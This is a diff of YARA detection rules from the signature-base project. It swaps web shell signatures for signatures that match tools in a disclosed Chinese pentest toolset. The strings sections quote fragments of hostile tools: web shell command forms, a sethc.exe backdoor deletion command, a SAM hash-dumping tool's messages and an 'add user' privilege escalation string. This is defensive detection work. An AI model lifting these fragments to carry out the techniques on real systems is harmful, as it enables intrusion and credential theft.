+rule SIGNATURE_BASE_CN_Honker_T00Ls_Scanner : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file T00ls_scanner.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "80d4a950-24cb-55c7-903f-8788a71be7ac"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2296-L2321"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "04a58352202538d5446f1000c07341ea70434f00403f116233f335213687636e"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1263-L1278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "70b04b910d82b32b90cd7f355a0e3e17dd260cb3"
+		logic_hash = "558abb651ce410520811ca96aaad78710cb9bf597b59ed89d9a678377716d721"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "ef43fef943e9df90ddb6257950b3538f"
-		hash1 = "ae025c886fbe7f9ed159f49593674832"
-		hash2 = "911195a9b7c010f61b66439d9048f400"
-		hash3 = "697dae78c040150daff7db751fc0c03c"
-		hash4 = "513b7be8bd0595c377283a7c87b44b2e"
-		hash5 = "1d912c55b96e2efe8ca873d6040e3b30"
-		hash6 = "e5b2131dd1db0dbdb43b53c5ce99016a"
-		hash7 = "4108f28a9792b50d95f95b9e5314fa1e"
-		hash8 = "41af6fd253648885c7ad2ed524e0692d"
-		hash9 = "6fcc283470465eed4870bcc3e2d7f14d"
 
 	strings:
-		$s2 = "echo sr(15,\"<b>\".$lang[$language.'_text58'].$arrow.\"</b>\",in('text','mk_name"
-		$s3 = "echo sr(15,\"<b>\".$lang[$language.'_text21'].$arrow.\"</b>\",in('checkbox','nf1"
-		$s9 = "echo sr(40,\"<b>\".$lang[$language.'_text26'].$arrow.\"</b>\",\"<select size="
+		$s0 = "http://cn.bing.com/search?first=1&count=50&q=ip:" fullword wide
+		$s17 = "Team:www.t00ls.net" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <330KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_807_A_Css_Dm_He1P_Jspspy_Xxx
+rule SIGNATURE_BASE_CN_Honker_Gethashes : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "b1c5910d-0fb1-547e-92b7-5fcf183e38a6"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2322-L2360"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb045425a9f519dd7bf028a7795b16b89768682f5850b6a4d45f0991bfeb6431"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1280-L1296"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dc8bcebf565ffffda0df24a77e28af681227b7fe"
+		logic_hash = "fb5ab5e6d8b522caf27478b0589b39d06b96fb0f913673ede768a814836e11f8"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
-		hash1 = "76037ebd781ad0eac363d56fc81f4b4f"
-		hash2 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
-		hash3 = "14e9688c86b454ed48171a9d4f48ace8"
-		hash4 = "b330a6c2d49124ef0729539761d6ef0b"
-		hash5 = "d71716df5042880ef84427acee8b121e"
-		hash6 = "341298482cf90febebb8616426080d1d"
-		hash7 = "29aebe333d6332f0ebc2258def94d57e"
-		hash8 = "42654af68e5d4ea217e6ece5389eb302"
-		hash9 = "88fc87e7c58249a398efd5ceae636073"
-		hash10 = "4a812678308475c64132a9b56254edbc"
-		hash11 = "9626eef1a8b9b8d773a3b2af09306a10"
-		hash12 = "344f9073576a066142b2023629539ebd"
-		hash13 = "32dea47d9c13f9000c4c807561341bee"
-		hash14 = "b9744f6876919c46a29ea05b1d95b1c3"
-		hash15 = "6acc82544be056580c3a1caaa4999956"
-		hash16 = "6aa32a6392840e161a018f3907a86968"
-		hash17 = "349ec229e3f8eda0f9eb918c74a8bf4c"
-		hash18 = "3ea688e3439a1f56b16694667938316d"
-		hash19 = "ab77e4d1006259d7cbc15884416ca88c"
-		hash20 = "71097537a91fac6b01f46f66ee2d7749"
-		hash21 = "2434a7a07cb47ce25b41d30bc291cacc"
-		hash22 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s1 = "\"<h2>Remote Control &raquo;</h2><input class=\\\"bt\\\" onclick=\\\"var"
-		$s2 = "\"<p>Current File (import new file name and new file)<br /><input class=\\\"inpu"
-		$s3 = "\"<p>Current file (fullpath)<br /><input class=\\\"input\\\" name=\\\"file\\\" i"
+		$s0 = "SAM\\Domains\\Account\\Users\\Names registry hive reading error!" fullword ascii
+		$s1 = "GetHashes <SAM registry file> [System key file]" fullword ascii
+		$s2 = "Note: Windows registry file shall begin from 'regf' signature!" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <87KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_201_3_Ma_Download
+rule SIGNATURE_BASE_CN_Honker_Hashq_Hashq : FILE
 {
 	meta:
-		description = "Web Shell - from files 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Hashq.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "4f435edf-28bf-5195-bc22-0d2a7302b312"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2361-L2380"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "14eccd07e7bef9d570f75fc4adc204d175dcfbb5b950bdb3e25a65d3c5bb0310"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1298-L1314"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7518b647db5275e8a9e0bf4deda3d853cc9d5661"
+		logic_hash = "a71ad182f7dd33790e59badfba6149c6dea627858414f0a8f3e64fd3bb2e2a64"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "a7e25b8ac605753ed0c438db93f6c498"
-		hash1 = "fb8c6c3a69b93e5e7193036fd31a958d"
-		hash2 = "4cc68fa572e88b669bce606c7ace0ae9"
-		hash3 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s0 = "<input title=\"Upload selected file to the current working directory\" type=\"Su"
-		$s5 = "<input title=\"Launch command in current directory\" type=\"Submit\" class=\"but"
-		$s6 = "<input title=\"Delete all selected files and directories incl. subdirs\" class="
+		$s1 = "Hashq.exe" fullword wide
+		$s5 = "CnCert.Net" fullword wide
+		$s6 = "Md5 query tool" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <600KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Browser_201_3_400_In_Jfolder_Jfolder01_Jsp_Leo_Ma_Warn_Webshell_Nc_Download
+rule SIGNATURE_BASE_CN_Honker_Shiftbackdoor_Server : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file Server.dat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "c53f4015-ad2b-5898-88b5-34b3bc2c65b6"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2381-L2408"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bf0fd37b542c9362a47180ee03ea28995b48d483f72273e472292a320a3ddee"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1316-L1333"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b24d761c6bbf216792c4833890460e8b37d86b37"
+		logic_hash = "17f1d7f2345ed1bc9b240c4851f41891244ec9d13b296a24ab6b42cca32ddf87"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
-		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
-		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
-		hash3 = "36331f2c81bad763528d0ae00edf55be"
-		hash4 = "793b3d0a740dbf355df3e6f68b8217a4"
-		hash5 = "8979594423b68489024447474d113894"
-		hash6 = "ec482fc969d182e5440521c913bab9bd"
-		hash7 = "f98d2b33cd777e160d1489afed96de39"
-		hash8 = "4b4c12b3002fad88ca6346a873855209"
-		hash9 = "4cc68fa572e88b669bce606c7ace0ae9"
-		hash10 = "e9a5280f77537e23da2545306f6a19ad"
-		hash11 = "598eef7544935cf2139d1eada4375bb5"
-		hash12 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s4 = "UplInfo info = UploadMonitor.getInfo(fi.clientFileName);" fullword
-		$s5 = "long time = (System.currentTimeMillis() - starttime) / 1000l;" fullword
+		$s0 = "del /q /f %systemroot%system32sethc.exe" fullword ascii
+		$s1 = "cacls %s /t /c /e /r administrators" fullword ascii
+		$s2 = "\\dllcache\\sethc.exe" ascii
+		$s3 = "\\ntvdm.exe" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_Shell_Phpspy_2006_Arabicspy
+rule SIGNATURE_BASE_CN_Honker_Exp_Win2003 : FILE
 {
 	meta:
-		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php"
+		description = "Sample from CN Honker Pentest Toolset - file win2003.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "f64e14dd-714c-5a0f-923d-23a584fe605f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2409-L2426"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bd9f1ffdbf94dd5a871fc7c3b31d2357e99265d02bfe1c836f82d251053dce7d"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1335-L1351"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "47164c8efe65d7d924753fadf6cdfb897a1c03db"
+		logic_hash = "d1616c53b26eefaa2578efb7defee182e8c88c869cfffb16c8767ddc1869ad46"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "791708057d8b429d91357d38edf43cc0"
-		hash1 = "40a1f840111996ff7200d18968e42cfe"
-		hash2 = "e0202adff532b28ef1ba206cf95962f2"
 
 	strings:
-		$s0 = "elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype"
-		$s8 = "echo \"<form action=\\\"?action=shell&dir=\".urlencode($dir).\"\\\" method=\\\"P"
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
+		$s2 = "The shell \"cmd\" success!" fullword ascii
+		$s4 = "Not Windows NT family OS." fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_In_Jfolder_Jfolder01_Jsp_Leo_Warn
+rule SIGNATURE_BASE_CN_Honker_Interception3389_Setup : FILE
 {
 	meta:
-		description = "Web Shell - from files in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file setup.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "7250ff73-6b08-56a4-b2bc-081060d1fa2d"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2427-L2447"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "00c3667438a688b990cf1c8bb6db52be7c6d1b36192dece4e8b07edda68f4b72"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1353-L1371"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f5b2f86f8e7cdc00aa1cb1b04bc3d278eb17bf5c"
+		logic_hash = "d3f543683810a985a190cc3ea8edb7bfcd316d56a13d45c6532c488a4536ad0a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "793b3d0a740dbf355df3e6f68b8217a4"
-		hash1 = "8979594423b68489024447474d113894"
-		hash2 = "ec482fc969d182e5440521c913bab9bd"
-		hash3 = "f98d2b33cd777e160d1489afed96de39"
-		hash4 = "4b4c12b3002fad88ca6346a873855209"
-		hash5 = "e9a5280f77537e23da2545306f6a19ad"
 
 	strings:
-		$s4 = "sbFile.append(\"  &nbsp;<a href=\\\"javascript:doForm('down','\"+formatPath(strD"
-		$s9 = "sbFile.append(\" &nbsp;<a href=\\\"javascript:doForm('edit','\"+formatPath(strDi"
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\%s" fullword ascii
+		$s1 = "%s\\temp\\temp%d.bat" fullword ascii
+		$s5 = "EventStartShell" fullword ascii
+		$s6 = "del /f /q \"%s\"" fullword ascii
+		$s7 = "\\wminotify.dll" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_2_520_Icesword_Job_Ma1_Ma4_2
+rule SIGNATURE_BASE_CN_Honker_Cncert_Ccdoor_CMD_2 : FILE
 {
 	meta:
-		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll2"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "2681a989-6504-5ac7-abc9-e6dad2a052c5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2448-L2470"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "765efb4f776d9ffe5dab1b5decbb60df654e1de9ab8ae7e0437c5c8f717642b9"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1373-L1390"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7f3a6fb30845bf366e14fa21f7e05d71baa1215a"
+		logic_hash = "8f33f2999eae3f080e8e5ec51ced3e7d596a07b6e5c9830cc1ca552701ed6502"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "64a3bf9142b045b9062b204db39d4d57"
-		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
-		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
-		hash3 = "56c005690da2558690c4aa305a31ad37"
-		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
-		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
-		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
 
 	strings:
-		$s2 = "private String[] _textFileTypes = {\"txt\", \"htm\", \"html\", \"asp\", \"jsp\","
-		$s3 = "\\\" name=\\\"upFile\\\" size=\\\"8\\\" class=\\\"textbox\\\" />&nbsp;<input typ"
-		$s9 = "if (request.getParameter(\"password\") == null && session.getAttribute(\"passwor"
+		$s0 = "cmd.dll" fullword wide
+		$s1 = "cmdpath" fullword ascii
+		$s2 = "Get4Bytes" fullword ascii
+		$s3 = "ExcuteCmd" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <22KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Phpspy_2005_Full_Phpspy_2005_Lite_PHPSPY
+rule SIGNATURE_BASE_CN_Honker_Exp_Ms11046 : FILE
 {
 	meta:
-		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php"
+		description = "Sample from CN Honker Pentest Toolset - file ms11046.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
-		date = "2014-01-28"
+		id = "aafb45f4-3b42-5c8f-8c25-40fd01217e9d"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2471-L2489"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "80c8e7b50aea91284a25ffd3a07d8705c24b6a95a58f42ec6043ececcff32dbb"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1392-L1409"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+		logic_hash = "0496e5c062c1a248b118c2f6009c95bfddf753e5491529d4ec43cfaf1ea0c0c5"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
-		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
-		hash2 = "0712e3dc262b4e1f98ed25760b206836"
 
 	strings:
-		$s6 = "<input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['comma"
-		$s7 = "echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],\"\".$uploaddir.\"/\".$_FILE"
-		$s8 = "<option value=\"passthru\" <? if ($execfunc==\"passthru\") { echo \"selected\"; "
+		$s0 = "[*] Token system command" fullword ascii
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii
+		$s2 = "[*] Add to Administrators success" fullword ascii
+		$s3 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Shell_Phpspy_2006_Arabicspy_Hkrkoz
+rule SIGNATURE_BASE_CN_Honker_Master_Beta_1_7 : FILE
 {
 	meta:
-		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		description = "Sample from CN Honker Pentest Toolset - file Master_beta_1.7.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "78f904ec-f7cb-5fd0-a117-925ebedd1d3e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2490-L2507"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "228e0a73f14da2957f75ae898fdbcf2386deb366df6ddc312162ab723bac44ba"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1411-L1426"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3be7a370791f29be89acccf3f2608fd165e8059e"
+		logic_hash = "13c9cc0bf8aaed2ba86baeee6f0b32bf71108dc1350dcffd03e70393fa975c9f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "791708057d8b429d91357d38edf43cc0"
-		hash1 = "40a1f840111996ff7200d18968e42cfe"
-		hash2 = "e0202adff532b28ef1ba206cf95962f2"
-		hash3 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s5 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+		$s1 = "http://seo.chinaz.com/?host=" fullword ascii
+		$s2 = "Location: getpass.asp?info=" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <312KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_C99_Shell_Ci_Biz_Was_Here_C100_V_Xxx
+rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_F4Ck_2 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file f4ck_2.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "b2a9067f-57d0-5b32-87c8-3b635c3944a5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2508-L2527"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ccc3cb553f7b5d089a43612d48522cc4a66b4a8ab433321ae1a716a8fa57b62c"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1428-L1446"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0783661077312753802bd64bf5d35c4666ad0a82"
+		logic_hash = "85c73d480019929eef5951b0395f49cea86dc83b334860e940cc6e36c2d96d3a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
-		hash1 = "f2fa878de03732fbf5c86d656467ff50"
-		hash2 = "27786d1e0b1046a1a7f67ee41c64bf4c"
-		hash3 = "0f5b9238d281bc6ac13406bb24ac2a5b"
-		hash4 = "68c0629d08b1664f5bcce7d7f5f71d22"
-		hash5 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s8 = "else {echo \"Running datapipe... ok! Connect to <b>\".getenv(\"SERVER_ADDR\""
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s8 = "Administrators" fullword ascii
+		$s9 = "F4ck Team" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <220KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_2008_2009Lite_2009Mssql
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_80_Antifw : FILE
 {
 	meta:
-		description = "Web Shell - from files 2008.php, 2009lite.php, 2009mssql.php"
+		description = "Sample from CN Honker Pentest Toolset - file AntiFW.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "761bed41-e8e6-585b-8fde-a6b6a56445d6"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2528-L2545"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae33048856440e25972aa5483b60e775f50f60a9ef5e77a58edd60eacdcd9ee3"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1448-L1466"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5fbc75900e48f83d0e3592ea9fa4b70da72ccaa3"
+		logic_hash = "5e940406b713458ae7168d4e140f15a262b7f0834d29db9c88f1f04bedb41e43"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
-		hash1 = "3f4d454d27ecc0013e783ed921eeecde"
-		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
 
 	strings:
-		$s0 = "<a href=\"javascript:godir(\\''.$drive->Path.'/\\');"
-		$s7 = "p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all"
+		$s1 = "Set TS to port:80 Successfully!" fullword ascii
+		$s2 = "Now,set TS to port 80" fullword ascii
+		$s3 = "echo. >>amethyst.reg" fullword ascii
+		$s4 = "del amethyst.reg" fullword ascii
+		$s5 = "AntiFW.cpp" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <30KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_Shell_Phpspy_2005_Full_Phpspy_2005_Lite_Phpspy_2006_Arabicspy_PHPSPY_Hkrkoz
